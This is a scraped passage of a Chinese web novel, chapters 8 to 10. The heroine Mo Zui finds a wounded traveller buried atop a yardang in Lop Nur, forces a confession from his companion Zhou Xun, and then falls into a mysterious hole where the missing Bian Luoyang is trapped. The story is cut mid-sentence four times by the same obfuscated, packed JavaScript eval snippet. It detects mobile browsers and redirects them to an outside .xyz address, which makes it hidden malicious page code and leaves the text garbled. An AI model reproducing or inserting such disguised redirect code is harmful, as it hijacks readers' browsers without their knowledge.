;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372138|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的芦苇和胡杨林出现在视线中,带来的也只有腐朽而陈旧的气息。 这才是它真正的样貌,死亡之海。 莫醉跳下车,舒展了一下僵硬的四肢,以手指作梳子,将头发胡乱梳理了下,之后从后座抽出瓶矿泉水简单洗漱。 矿泉水冰冰凉凉,扑撒在脸上击退残存的那点困倦,莫醉彻底醒了。 她转身回到驾驶座,伸出胳膊将车钥匙拔了,塞进口袋。 莫饥还在睡觉,眉头微微皱着,莫醉并没打扰他,小心翼翼合上车门。 季风禾和成坤歇息的车还停在原地,没有任何响动,大概同莫饥一样还未醒。莫醉小心翼翼绕开那两辆车,向不远处的雅丹群中走去。 昨晚入睡前她回忆起和周寻初见的画面,怎么想怎么觉得奇怪。他的那副说辞如今想来也漏洞百出。大晚上爬到雅丹顶上等人救援,他倒是能远远看到救援的车灯,但那救援的人怎么可能看到他? 那雅丹顶上一定有古怪。 这是莫醉第三次走这条路。昨晚来时,手电筒的光只照清了眼前的一亩三分地,此刻天光熹微,嶙峋山体再无夜色遮掩,少了几分神秘,多了几分凌乱。莫醉按照昨夜的路线行走,十几分钟后到达昨晚见到周寻的地方。 莫醉抬头望。 这座雅丹不是附近最高的一座,却是最易攀爬的一座。土坡角度缓和,处处可见突起的落脚点。莫醉步履轻巧,行动敏捷,走到一半嫌缓坡路长,手撑着凸起的土块,另辟蹊径攀爬登顶。 雅丹顶部平缓,约莫三五平米,中心处有细微凹陷,拂掉表面薄薄的沙尘,露出几块破旧木板。莫醉看着那块破木板半晌没有动作。 罗布泊里大大小小雅丹数不胜数,不少雅丹顶部都有土坑和木板。掀开木板,便能与千年前的尸体相遇。这些尸体陈尸在极度干燥的环境中,历经千年变成干尸,有的进了博物馆,有的还躺在埋骨处。 莫醉不怕尸体,但不愿轻易扰人清梦。她磨磨蹭蹭绕着平台转了几圈,没什么特别的发现,无可奈何蹲回木板旁后,盯着木板干裂的纹路看了一会儿,注意到边角处似被什么东西浸染,留下一丁点深色痕迹。 她伸出手指搓了搓,那痕迹已经干涸,但瞧颜色像是新鲜的血迹。 既然是血迹—— 莫醉不再犹豫,正要掀开木板,身后传来声响。她转过头,见季风禾沿着缓和的那条路,信步闲庭,慢悠悠登顶。 莫醉抬起脏兮兮的爪子,胡乱挥了挥:“老板起得这么早?” “嗯。”季风禾走到木板另一侧蹲下,“怎么不掀?” “正在猜里面是新鲜的尸体,还是干尸。”莫醉实在不想干这种有损阴德的活儿。她瞥了眼季风禾随意搭在膝头的手,那手纤长有力,每根手指都干干净净,比她更不像掀棺材的手。她扁了扁嘴,好心提醒道,“老板要是怕的话,记得闭上眼,万一晚上做噩梦——” 季风禾不等她说完,手指尖搭在木板边沿,微微用力,将木板掀翻到一侧。 木板落地,扬起烟尘,迷得人睁不开眼睛。莫醉眯起眼睛捂住口鼻,微微后仰身子,等到沙尘散尽,才凑近几分,看着露出来的东西,叹了口气:“果然是他。” 8.干尸 木板掀开,烟尘散去,露出一张年轻男人的脸,正是周寻和蔡思韵的同伴,张腾。 按照周寻的说辞,他们一行四人离开大部队后不久,越野车出现故障,几人被困在原地,没多久物资便出现短缺。这时,他们想起进入罗布泊第三日时,他们放弃的那辆故障车。 那辆车上还留有一些物资,没能搬运到这辆车中。若能顺利寻到故障车,将物资取回,兴许能帮他们坚持到救援赶到的那一刻。于是,张腾和边洛阳步行离开,去取车上的物资,留下周寻和蔡思韵在原地等候。 如今,张腾在离越野车不远处的雅丹群顶上被发现,那边洛阳呢,是真的去取物资了,还是也遭遇了意外? 莫醉看着季风禾,一副看热闹不嫌事大的模样:“老板,能满足一下我的好奇心么?你现在是希望边洛阳也躺在某个雅丹顶上呢,还是希望他活蹦乱跳顺利返回?你放心,这里没外人,你随便说说,我随便听听,等下去后就全都忘了。” 季风禾瞥了她一眼,瞧着平静,但也不算友善:“尊重生命,敬畏自然。” 莫醉肃然起敬,抱拳道:“是小的唐突了。老板是戈壁滩环保卫士,就应该有这样的胸怀!” “环保卫士?”季风禾眯起眼睛,重复着这四个字,预感这不是什么好话,“什么意思?” 莫醉自然不敢说实话,露出几颗大白牙,乱七八糟地夸赞:“我猜你蚂蚁森林肯定种了不少树,所以单方面授予你‘环保卫士’的称号。” 季风禾要是信了她,就真是见鬼了。但他向来不是个对无关紧要小事刨根问底的人,见莫醉不肯说实话,也便罢了。 土坑里的张腾仰面躺着,嘴唇苍白起皮,面上糊着黄褐色的尘土,几乎看不出原本的肤色。他的身上穿着土黄色的夹克衫,头发被鲜血浸透后挂上沙土,结成一缕一缕的。他的双手交合搭在腹部,像是安静地睡着了。 几日前还是满怀雄心壮志,想要穿越风沙肆虐无人区的年轻人,如今却安静躺在雅丹顶的坟头里,压在千年前的干尸上。 莫醉叹了口气,拽着他的胳膊尝试将他拉出土坑,触手一瞬间察觉到不对,动作顿在半空中。 手中胳膊软绵绵的,掰起来毫不费力,哪里像是一个死了半天,应该有尸僵的人? 季风禾将手指压在他的脖颈侧,屏息片刻,给了确定的回答:“还活着。” 二人不再耽搁,一人扯住一只胳膊,使力让昏迷不醒的张腾坐起身后,季风禾托住他的腰,将他驮在肩头扛出了土坑。 土坑里的原住民干尸重建天日,被压得七扭八歪。莫醉双手合十鞠了几个躬后,将破木板小心翼翼合上,又掬起一捧沙土盖在木板上,然后才起身离开。 下去的路比上来时要难许多,季风禾却像是鞋底装着钉子,每一步都走得稳稳当当。张腾并不矮,也不是细狗身材,此刻趴在季风禾的肩膀上,随步伐颠簸,像个小沙包似的。莫醉跟在他们的身后,原本在看路,眼神晃着荡着,不知不觉间就落在前面那人的身上。 季风禾今日换了件黑色的夹克,袖子撸起,小臂上的肌肉线条清晰可见,甚至能看到凸起的青筋。莫醉很喜欢这种肌肉线条,顺畅有力,却不过分夸张,忍不住盯着看了一会儿。 季风禾察觉到后面那人一直没说话,放慢脚步,侧过头问:“在想什么?” 想你的肌肉线条。莫醉清了清嗓子:“在想边洛阳是生是死。” “你很在意这个人。”季风禾若有所思。 莫醉嘿嘿一笑,心中愈发期待他和边洛阳见面时的模样。 回到营地时,成坤和莫饥早已醒来,正凑在一起吞云吐雾,嘀嘀咕咕不知在说些什么。成坤一抬眼看到远处走来的二人,叼着烟头,急急忙忙迎上前:“活的死的?” 莫醉回答:“活的,不过也快成死的了。” 莫醉打开废弃越野的后车门,扯着后座上的周寻的胳膊将他拽出车子。周寻不知何时已经清醒,太阳穴还肿着。他的双手双腿被绳索严严实实捆起,无法控制身体,在莫醉的拉扯间仰面摔倒在沙土地上。 周寻艰难抬起头瞪着莫醉,声嘶力竭双目赤红,怒吼道:“你凭什么绑我!我要报警,我要找警察抓你!我要把你送到大牢里,让你一辈子不出来!” 短短几句话,周寻的声带如同布满沙砾,沙哑刺耳,听得莫醉皱起眉头。她抠抠耳朵,蹲下身子,居高临下俯视着他,笑眯眯道:“周寻,我觉得你应该比我更怕报警才是。我刚刚闲来无事去爬了个雅丹,你猜我在雅丹顶上发现了什么?” 周寻瞳孔骤然扩大,惊慌无法遮掩:“什么雅丹?我,我不知道你在说什么。” 莫醉抓着他的领口,如拎着一滩烂泥似的,将他从地上薅起来。她的右手按着他的后脖颈,压着他的脑袋到后车厢中,让他能瞧见后座上的人。 后座上躺着的正是不知生死的张腾。他被季风禾和成坤安置平躺在车后座,脑袋恰好冲着周寻的方向。 周寻看着那张面无血色的脸,怕极了,瑟缩挣扎着想要退后,脖颈却被莫醉牢牢钳制住,动弹不得。 “他,他怎么了?”他声音发颤,尝试装出与此事无关的无辜。 莫醉不耐烦和他打太极,冷了脸色:“周寻,我不关心你们之间的恩怨,更不好奇事情的来龙去脉。这些警察会查清楚。我现在只问你,你们一行四人,还有一个呢?那个叫边洛阳的,现在到底在哪里?” 周寻苍白着一张脸,喃喃道:“边洛阳去找物资了……” “你昨儿个还说张腾也去找物资了,可结果呢?张腾在雅丹顶上,和干尸相拥而眠!”莫醉按着他的头,将他的额头抵在张腾没有生气的脸上,“感受到了吗?他还有温度,这人还活着。” 周寻静止一秒,片刻后挣扎着起身,眼眶通红,哀声道:“我不是故意的,我真不是故意的——” 莫醉一巴掌扇在他的后脑勺上,将他忏悔的废话堵在喉咙中。她厉声道:“周寻,人活着还是死了,对我没什么不同,但对你来说,区别就大了。人活着,可能是故意伤害罪,最多几年就出来了;人要是死了,是什么罪名就不好说了,你是站着从牢里出来还是横着从牢里出来也说不准了。你命好,张腾还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381348|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有最后一口气的时候被我们发现了,免了你半个死罪,可另一半死罪,边洛阳目前还没被找到。你早点交代他在哪,我们早点找到,无论是什么结果,至少是个戴罪立功,懂么?” 周寻哭丧着一张脸,满眼都是绝望,不知该如何是好。他想要哭,但太久没喝水,眼中已流不出一滴泪水,只能干嚎着,结结巴巴道:“我真的没撒谎,边洛阳确实去找物资了。”眼见莫醉的巴掌又要扇下来,周寻加快语速,“三天前,我们的物资即将耗尽,边洛阳说他去坏掉的那辆车那取物资,我和张腾想要跟着,但他说他未必能找到那辆车的方位,若迷失在这无人区中,很可能会丢了性命。他让我们继续留在原地等待救援,还将他的女朋友,菜菜也留了下来,用她来安我们的心,确保我们相信,他并不会抛弃我们。 “他带了三瓶水和几袋压缩饼干离开,将大部分的物资都留给了我们。按照他原本的规划,最多一日他便能返回,若是不能返回,估计就是遭遇不测了。可我们等了两日,仍旧没看他归来的身影。第二日晚上,我们三人在车中越等越慌张,物资也只剩下最后一丁点,就算我们省吃俭用,也最多再坚持一天。我们起了争执,菜菜想要去找她男朋友,我和张腾却觉得,已经没什么必要了,不如在原地继续等。然后,张腾突然就冲上去,掐住菜菜的脖子,想要杀了菜菜,少一个分物资的人。我慌了手脚,翻出千斤顶,冲着张腾的脑袋打了一下,然后他就倒在地上,再也不动了…… “那时候菜菜已经没了声息,不过我摸到了她的脉搏,她还活着!然后我又去看张腾,可他头上全是血,倒在沙地里。我看到那么多血,瞬间就慌了神,然后怎么都试不出他的脉搏,就以为他死了。我不能将尸体留在这里,万一救援的人来了,我就解释不清了。我背着张腾的尸体,想要将他藏起来,却没想到我刚刚藏好,下山的时候,就遇到了你。”周寻扭头看着莫醉,脸上写满了怨恨,“都是你!你为什么不能再早到一会儿!你要是再早一个小时到,这一切都不会发生了,都是你!” 莫醉乐了,不敢相信这世上竟然有这种自私自利、逻辑感人的傻帽。 莫醉长这么大,讲究的就是从不忍气吞声。未来太遥远,说不定明天就火星撞地球,全人类共同灭亡,还不如珍惜当下,不把仇恨带到下一秒。 她松了手,抓着周寻胸口的衣服,将他狠狠推到车门上,冷嘲热讽:“你以为我愿意来救你?我那是救二十万,顺手积善行德,才把你捎上。你知道罗布泊每年失踪多少人么?任何一块沙土地下面,可能都埋藏着一副尸骨。我今天要是不乐意了,将你随便找个犄角旮旯一扔,保证你这辈子在见不到一个活人。”她松了手,任他滑落到地面上,而后俯视着他,如同看一只蝼蚁,“还有,事实究竟是怎么一回事,究竟是你为了多霸占点物资,将这俩人都害了,还是你抱着什么龌龊目的,才打了张腾尝试救下这小姑娘,等这俩人醒了,真相自然就明了。”她蹲下身子,轻轻拍着周寻的脸,像是在拍土豆的脑袋,“孩子,别遇到什么事就怪天怪地怪别人,你年纪也不小了,怎么还觉得四海之内皆你妈呢?嗯?” 9.直升机 收拾完周寻,莫醉站起身,视线越过越野车车顶,一眼看到对面的三张脸。 季风禾身量最高,站在中间,眼神颇为古怪;成坤站在他左侧,目瞪口呆,颇为震惊;莫饥站在最右边,身高最矮,满脸都是崇拜。 莫醉随意抓了抓头发,让发丝在微风中舒展,而后冲着三人挑眉,总结发言:“他应该没说谎,边洛阳确实离开去找物资了。你们还有什么问题么?” 旭日东升,晨光和煦,穿透莫醉散落的发,将每一根发丝都染成金棕色,瞧着毛茸茸的。偏偏是这么一个毛茸茸的人,臂力惊人,将一个大男人拎起放下,像是抓着一只小鸡仔,将其收拾得服服帖帖。 成坤回过神来,立刻道:“没,什么问题都没有。我就是想说,这张腾脑袋上的伤挺严重的,比那小姑娘还要严重,需要尽快送出去。” 莫醉抬头看了看天。 天晴晴朗,碧空如洗,是难得的好天气。 莫醉瞅着季风禾:“这天气直升机应该能飞,要不季老板再破费一番,叫个直升机来,将这三个人带出去?”她指指一旁呆楞的莫饥,“顺便将这小子也带出去吧。他爹估计快急死了。” 季风禾抬眼:“你呢?” “我?”莫醉挠挠头,回答得半真半假,“中国人讲究来都来了。我虽然不喜欢掺合救援的事,但来都来了,好人做到底,送佛送到西。其他那几个人我懒得管,可边洛阳应该就在附近,我顺着他的味儿——我顺着他离开的方向沿途搜寻,估计用不了太长时间就能找到。” 成坤拍了下脑袋,急急忙忙到:“哎我这脑子,忘记和你们说了。刚刚我收到敦煌那边的信儿,说是昨晚上搜救队在楼兰附近遇上两辆车三个人,都平安。除了这三个人,还有另外一对夫妻和补给车,昨天下午主动联系上外界,发了坐标,现在也已出了无人区。” 楼兰搜救队遇到的两车三人,应该是第六日主动离开队伍,折返回敦煌的那对夫妻和补给车。另外那对主动联系外界的夫妻,应该是昨日莫醉遇上的那几个人。 “楼兰?”莫醉的脑海中浮现整个罗布泊的地图,疑惑不已,“那几个人怎么开到楼兰去了?他们离开队伍的时候,不是说要调头回敦煌吗?怎么反而继续向西开了?” “这就不知道了,等出去再问问。” 成坤和季风禾耳语几句后,走远去联系直升机,片刻后返回。 “昨晚我们将坐标发给敦煌那边后,已经联系了直升机。刚刚和他们确认了一下,半个小时前直升机已经出发,估计很快就能到。” 莫醉挑眉,这才意识到是她多管闲事了。 能花二十万找她救人的主,还能缺钱叫直升机?哪里需要她提醒! 她将手指搭在车顶,手指无意识敲打,在心中盘算着现在的情况。 十三个人七辆车,其中十人六车已经找到,只剩下半夜偷偷走的那对名字和脸对不上的兄弟,还有边洛阳。莫醉思来想去,觉得不能再耽搁了,当机立断:“那你们在这等直升机吧,我开车去找人,救人这事越早越好。” “等直升机来了,我和你一起出发去找。”季风禾抽走成坤手里的车钥匙,“总要有人把这辆车开出去,不如开出去前帮着找人。” 莫醉脚步顿住,眼睛滴溜溜地转,看看季风禾,再看看成坤,最后落在隔着车门,连人影都看不清的蔡思韵身上,支支吾吾道:“老板,虽然你未婚妻做了些对不起你的事,但是毕竟是个年轻小姑娘,偶尔犯点小错,也是可以被原谅的。你要是还想挽回她的心,就和直升机一起回去,陪着她去医院,不离不弃,等着她清醒。我和你说,她要是清醒后第一眼看到的是你,不是那个边洛阳,一定感动死了,非你不嫁啊!” 季风禾:…… 他抬抬眼皮,意味不明:“你懂得倒是多。” 季风禾语气平平,莫醉只当他虚心求教,但不好意思问,于是继续现场教学:“真的,老板,相信我。到时候你留点胡子,别洗头,等她醒来后,捧着她双手,泪眼婆娑,告诉她你快吓死了,险些准备陪她一起去了——” 莫醉越说越夸张,越说越兴奋。季风禾终于听不下去,打断她:“差不多得了。” 莫醉咪起眼睛,啧啧两声,一副朽木不可雕的嫌弃表情。 季风禾坚持要随莫醉一起找人,莫醉不再多劝。反正找到边洛阳后,需要一辆车将他带走,季风禾的同行正好完美解决了她的问题,能帮她省下不少汽油。 更何况,她也想近距离围观“未婚夫”和“男朋友”的初次见面。要不是蔡思韵昏迷不醒生命垂危,她还想叫上她一起,兴许能看上一场琼瑶大戏。 等直升机来的功夫,天气愈发炙热。阳光直射在光秃秃的土地上,温度逐渐攀升,众人多少都有些扛不住,纷纷回到车里吹空调,车外只剩了莫醉。 她是个闲不住的性子,一会儿擦擦车玻璃,一会儿又去报废的车上翻翻找找,挑拣出还能用到的物资,蚂蚁搬家似的挪到皮卡的车斗上,一会儿又发现防风衣的袖子上脏了一块,怎么都拍打不干净,干脆将其脱下塞到车后座。 她的体质特殊,不怕冷也不怕热,穿防风衣只是为了抵挡打在肌肤上的风沙。今日天气好,万里无云,无风无沙,防风衣早就失去了它的作用,脱下来后反而舒服更多。 副驾驶的成坤扭着身子,笑呵呵地看着车后面的莫醉忙活,时不时点评几句:“这姑娘哪儿的人啊?这么热的天,一点汗都不出,像是感觉不到热似的。” 闭目养神的季风禾睁开眼睛,视线从后视镜反射,落在莫醉的身上。 季风禾并不是第一来罗布泊。在他印象中,经常开车在附近穿梭的人,大多都肤色黝黑,最白的也是个小麦色,倒是没瞧见过什么人像莫醉似的,肤色苍白毫无血色。 这种肤色倒也不罕见,但不好好躺在冰柜里,还在外面活蹦乱跳的,确实不多。 “有病吧。”季风禾肯定道。 直升机来得很快,轰鸣声响彻整片原野,降落时带起的狂风吹得人睁不开眼。莫醉躲回车里,看着他们将能动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392948|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的不能动的,一个个搬运上飞机后,按下车窗,手肘搭在窗框上,冲着不远处的季风禾吹了声口哨:“走了。” - 平沙莽莽黄入天,瞧不见半点绿意。目之所及的一切像是复制黏贴,无论是颜色还是毫无起伏的平坦。 像是误入了还未完工的虚拟游戏场景,小怪兽和npc都没来得及建模,初见时还有几分新鲜,久了便有些乏味。 莫醉开着皮卡在前方探路,越野车乖乖巧巧跟在后方,距离不远也不近。莫醉开得无聊,透过后视镜瞥见跟着的车,突然起了玩闹的心思,由匀速行驶转为变速行驶,时快时慢,和路况无光,全看司机的心情。可无论她如何折腾,后面那辆车都稳稳跟着,久了倒是莫醉先腻了。 她拿过一旁的对讲机:“老板,技术不错啊。” 片刻后对讲机传来声响,带着细微的电流声,微微刺着莫醉的耳朵:“嗯,是不错。” 莫醉:…… 普普通通几个字,莫醉愣是听出些遐思。 天地良心,她说的‘技术’单纯指‘车技’,可从季风禾的口中说出,不知怎的就染上些说不清道不明的暧昧。 还是说,问题出在她的身上?她脑子坏掉了? 莫醉骂了一声,将车窗打开,任由风穿过车厢,吹散这些乌七八糟的想法。 又行驶十几分钟后,莫醉将车停在一片旷野上,下车走远几步后环顾四周。季风禾没下车,只将车窗按下,等着她的下一步动作。 自早晨和成坤几人分别后,俩人走走停停,已有四五个小时,每行驶半个小时,莫醉都要下车站几分钟,说是辨别方向。季风禾不知她是如何辨别的,也懒得多问。 莫醉站在无人区里,看着面前一览无余的荒凉土地,陷入沉思。 她确认附近有活人的味道,就在一公里甚至几百米内,可眼前的平原上空空旷旷,什么都没有,没车,没人,连个土丘也没有,那人能藏在何处?难不成是土地公,钻入了地底下? 莫醉闭上眼睛,深吸一口气,再次静下心来仔细分辨空气中稀薄的气味。十几秒后,她重新睁开双眼,调整方向,向更荒芜的地方走去。 季风禾的视线始终锁在莫醉的身上,见她越走越远,跟着下了车,靠在车门上透气。他翻出口袋里的烟盒,抽出最后一根,咬在唇间,把玩着手中的打火机,半晌没点,最后将烟和打火机一股脑塞回烟盒,丢进车子里。 变故就在这一瞬间发生。 大地剧烈摇晃,狂风平地突起,清透的天空变得浑浊,沙石飞溅,迷得人看不见路。荒野上的莫醉被这突变打得措手不及,沙石击打着裸露的皮肤,带来密密麻麻的疼痛,她紧皱着眉头,不敢有丝毫耽搁,在混沌中转身,准确无误地向着几百米外停靠的车子快步走去。 风越来越大,吹得她迈不动步子。来时几百米的路,回程怎么都走不到尽头。莫醉咬紧牙关,顶着风前进,脚下一个趔趄,后撤几步,就在她以为要仰面摔倒时,胳膊被人大力拽住,勉强保持住平衡。 10.黑洞 风沙中,莫醉眯着眼,勉强认出拉住她的是季风禾。他的手牢牢抓住她的小臂,使力将她扯到身边后,按住她的肩膀,用了十成十的力气,迫得她不得不蹲下身子,几乎要被按进地上层层叠叠的沙土中。 莫醉瞬间明白了他的意思,跪在沙土地上,蜷缩起身子。季风禾见她配合,松开钳制她的手,将防风衣敞开,伏在她的身后,将她严实包裹住,格挡风沙。 二人低垂着头,遮挡住口鼻,静静等风沙退散。 风声如野兽的嘶吼,尖锐又刺耳,三分钟或是五分钟,风沙逐渐退散,万物归于平静,仿佛什么都没发生过。 莫醉松开捂住口鼻的手,大口喘息着,等到呼吸平缓,才后知后觉意识到,她和季风禾的姿势有些过于亲密。 他将她护在怀中,她的后背紧贴着他的胸膛。她的短袖单薄又贴身,能感觉到背后那人坚实的肌肉,灼热的体温,以及胸腔中有力的心跳,一下又一下,打在她的心尖上。他的呼吸近在咫尺,拂动她耳朵后的碎发,细细痒痒,泛起密密麻麻的颤栗。 莫醉想,她真是见鬼了。 她正要使力挣脱,季风禾已然松开护住她的胳膊。他先一步站起身,托住她的胳膊,将她从地上拉起来。莫醉站稳身子,拍打着身上的沙土,认真了神色:“谢了。” “以前遇到过这种情况吗?”季风禾问。 莫醉苦笑:“以前从没有,但这趟进来,这是第二次。” 季风禾不再多说。 裸露的胳膊上泛起细碎的疼痛,是被风沙刮出的杂乱擦伤。好在擦伤轻浅,无需特别处理。莫醉甩了甩胳膊,甩掉这恼人的痛感和心口的异样,抬头环顾四周。 地上还有未散的烟尘,薄薄一层,像是黄色的纱巾,飞舞出不同的形状。天空已然透彻,视线可延伸至百米开外,莫醉转了一周,赫然发现几十米外的地上出现了一个巨大的黑洞。 那洞似圆非圆,直径大概三四米,瞧不见有多深。莫醉很确定,在起风前,这里并没有这黑洞,它像是凭空出现的,如未知的深渊,吸引着来往的过路人。 日光刺眼,莫醉眯着眼看,不知是光线太强而产生了眩晕,还是刚刚被风沙吹坏了脑袋,她竟觉得那黑色的洞口在不断缩小。她来不及多想,冲着那洞口狂奔,跑到跟前时洞口只剩一条缝隙。她没有丝毫犹豫,跃起身子跳入那黑漆漆的未知。 洞口两三米深,地上是松软的沙土,莫醉落地后翻了个跟头,卸去冲击力,站起身时眼前闪过一个黑影,季风禾竟也跟着跳了下来。 莫醉急忙道:“你怎么下来了?快上去!” 话音落下,洞口在二人头顶彻底合拢,像巨大的幕布瞬间遮天蔽日,整个世界再不见丝毫光亮。 莫醉:…… 莫醉叹了口气,不再理他,将手机从口袋里翻出,打开手电筒,照亮四周—— 然后就看到角落里蜷缩的人。 那是个二十多岁的年轻人,面容憔悴,双眼中全是红血丝,下巴上胡子冒出头,显然被困了许久。他抱膝坐在角落,身边放着背包,睁着一双眼睛木讷地瞪着跳下来的两个人,一言不发。 莫醉“嘶”了一声,将手电光直直照向他的眼睛:“还活着么?” 那人缓缓侧头避开,以手遮挡,动作僵硬,但总算有反应。 莫醉松了口气:“活着。”她仔细看了他几眼,用手肘撞了撞身后的季风禾,肯定道,“你的情敌,边洛阳。” 季风禾瞥她一眼,没搭理她,转去打量四周,显然对地洞的好奇远高于对情敌的兴趣。 莫醉心痒难耐,但季风禾不接茬,她也不能压着他强行来个深度访谈,只能将好奇心暂且收起,先办正事,找到出去的方法。 洞壁四周光滑平整,柔软的沙土与胶类涂层粘合,变得无比坚硬。洞顶约莫两米多,以岩板覆盖,跳起来伸手可触。岩板上有细细的纹路,乍看像是不小心划的,细看却像是各式各样的图腾。 莫醉绕着墙壁转了一圈,边走边上下摸索,没有任何发现,干脆一屁股坐到边洛阳身边,抓起他身边的包,掂了掂重量,挑眉道:“看样不剩什么物资了。困了几天了?” 边洛阳张开嘴,声音沙哑尖锐:“我的手机早就没电了,手表也摔坏了。这里一片漆黑,看不到光,我也不知道几天了。” 逻辑倒还算清晰。 莫醉将手机手电关了,任由洞内重新被黑暗侵蚀。她靠着墙壁,曲起一条腿,将手搭在膝头,闭上眼歇息,问题却不停:“说说吧,你一个人离开队伍,出去找物资后,都发生了什么。” 边洛阳一顿,知晓这二人已经见过蔡思韵三人,猛地坐起身子,面露担忧,语气焦急:“菜菜还好吗?还有张腾和周寻,他们被救出去了?” 听起来边洛阳很担心他的女朋友。 莫醉后悔把手电关得太快了,以至于现在看不到季风禾脸上的表情。她睁开眼,在黑暗中看向边洛阳的方向,兴致高昂起来:“好不好的另说,但我们离开的时候,三个人都还活着,已经被直升机送出去了。” 边洛阳松了口气,这才磕磕绊绊说这几日的事。 “我离开队伍时,导航和卫星电话全部失灵,指南针也摇摆不定,指不出方位,我只能靠着印象中的方向走,去寻找那辆放着物资的车。我顶着风沙走了一天多,一直没看到车的影子。我想我应该是走错方向了,正犹豫着是要继续向前,还是返回时,大地突然开始摇晃,像是地震了似的……风沙越来越大,我走不动路,控制不住身体,失足摔进了这个洞里。再然后,这洞口就合上了,任凭我怎么敲打,封住洞口的岩板都纹丝不动,再未打开过。” 莫醉坐直身子,盘起双腿,在黑暗中眯起眼睛,大脑飞速运转。 边洛阳说的这些桥段似乎有些熟悉。 大地震颤、风沙变大……这与刚进入罗布泊的那一晚,和片刻之前所经历的,几乎一模一样。 难道这些与洞口的开合有关? 莫醉将疑惑处小心记下,继续追问:“这之后,这洞口再也没开过?” 边洛阳摇头,旋即想到黑暗中对方看不到,用话语回答:“还开过一次。那时洞口突然开了,洞外似乎是晚上。我尝试往外爬,可我的体能实在是太差了,墙壁上没有着力点,我勉强爬到一半,就摔了下来,再想尝试时,洞口已经重新合上。再之后,我就一直呆在这里,直到你们出现。我试了很多种方法,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402678|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要打开洞口,爬出去,但都没能成功……我还以为我要死在这里了……”边洛阳一顿,随即苦笑,“可能还是要死,只不过多了两个黄泉路上作伴的。” “谁要和你作伴。”莫醉语气嫌弃,将屁股挪远了些。 算算时间,从离开队伍独自找寻物资起,到莫醉和季风禾跳入黑洞,边洛阳已离开队伍,一个人行走了两天半。若莫醉推测得没错,风沙与洞口开合有关联,那么距离边洛阳进洞已过去了一天半。 黑暗可以将时间模糊溶解,将内心的恐惧无限放大,生出光怪陆离的幻觉。直至再也无法忍受的那刻,在痛苦中自我了断。 他一个人在黑暗中呆了一天半,却还能勉强维持神志的清醒,很是不易,至少足以证明此人心智坚定,远超一般人,兴许就是因为如此,蔡思韵才会出轨,义无反顾抛弃季风禾,跟着他来无人区探险。 莫醉贼兮兮的,压低声音:“边同学,你和蔡思韵在一起多久了?” 边洛阳愣了一瞬,才轻声回答:“两年多了,我准备这趟回去就和她求婚。”他的声音中有沙哑笑意,“蔡蔡是个很好的姑娘,是我不好,硬要带她来这里,害得她遭遇危险……也不知她会不会因为这个讨厌我。” 莫醉的眼睛瞬间就亮了。 两年多!季风禾带了两年多的绿帽子!罗布泊恐怕已经容不了他满头的苍翠绿意,这哥们不去撒哈拉可惜了啊! 莫醉摩拳擦掌,眼睛滴溜溜地转,胳膊也不疼了,人也精神了,正要继续往下问,便听到地洞另一侧传来声音。 “你们为什么要穿越无人区?” 说话的是季风禾。 他自跳入坑中后,再没开口,此刻在黑暗中突然出声,陌生的声音在密闭空间里反复回荡,吓了边洛阳一跳。他缓和几秒后,轻声说:“张腾和周寻是我的大学室友,大学毕业后,周寻留校读研,我和张腾去了不同的城市工作,他们就提议在分开前,一起做些值得纪念的事。我们讨论后决定来罗布泊探险,带上我女朋友蔡蔡。张腾和周寻找了专业的领队,说是绝对不会出现事故,没想到还是出了问题。” 莫醉再按耐不住八卦之魂:“边同学,你知道蔡思韵有未婚夫吗?” “不可能。”边洛阳脱口而出,语气笃定,“我和蔡蔡是大学同学,从大一就认识了。我从没听她说过她有未婚夫,也没见过她和哪个男人走在一起。她怎么可能有未婚夫呢?我追了她一年,她才答应和我在一起,若是有未婚夫,她怎么可能不告诉我呢?” 